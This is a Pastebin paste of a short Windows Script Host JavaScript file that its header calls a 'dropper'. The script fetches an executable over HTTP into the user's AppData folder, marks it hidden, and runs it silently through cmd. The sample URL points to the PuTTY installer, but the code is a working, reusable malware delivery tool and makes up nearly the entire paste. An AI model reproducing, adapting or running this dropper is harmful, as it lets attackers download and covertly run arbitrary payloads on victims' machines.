Advertisement
Guest User

Untitled

a guest
Mar 6th, 2018
1,969
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * WScript/Javascript dropper by gigajew@hf
  3.  */
  4. var ws = WScript;
  5. this['main']();
  6.  
  7. /*
  8.  * Download a remote resource to a local file
  9.  */
  10. function download(uri, filename) {
  11.     var http = ws['createobject']('Microsoft.XMLHTTP');
  12.     var stream = ws['createobject']('Adodb.Stream');
  13.    
  14.     try {
  15.         http['Open']('GET', uri, false);
  16.         http['Send']();
  17.        
  18.         stream['type'] = 1;
  19.         stream['open']();
  20.         stream['write'](http['responseBody']);
  21.         stream['savetofile'](expand(filename), 2);
  22.        
  23.         return true;
  24.     } catch(error) {
  25.         //throw error;
  26.         return false;
  27.     }
  28. }
  29.  
  30. /*
  31.  * Expand environment variable
  32.  */
  33. function expand(filename) {
  34.     var shell = ws['createobject']("WScript.Shell");
  35.     return shell.ExpandEnvironmentStrings(filename);
  36. }
  37.  
  38. /*
  39.  * Execute file
  40.  */
  41. function run(filename) {
  42.     cmd("cmd /Q /V:OFF /C call \"" + expand(filename) + "\" >nul");
  43. }
  44.  
  45. /*
  46.  * Hide a file
  47.  */
  48. function hide(filename) {
  49.     cmd("attrib +H \"" + expand(filename) + "\"");
  50. }
  51.  
  52. /*
  53.  * Delete a hidden file
  54.  */
  55. function kill(filename) {
  56.     cmd("attrib -H \"" + expand(filename) + "\"");
  57.     cmd("del /Y \"" + expand(filename) + "\"");
  58. }
  59.  
  60. /*
  61.  * Execute a command
  62.  */
  63. function cmd(args) {
  64.     var shell = ws['createobject']("WScript.Shell");
  65.     shell['exec'](args);
  66. }
  67.  
  68. /*
  69.  * Entrypoint
  70.  */
  71. function main() {
  72.    
  73.     var uri = "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe";
  74.     var filename = "%appdata%\\putty.exe";
  75.    
  76.     try {
  77.         kill(filename);
  78.     } catch (error) {
  79.         // this is ok
  80.     }
  81.    
  82.     if(download(uri, filename)) {
  83.         hide(filename);
  84.         run(filename);
  85.     }
  86. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement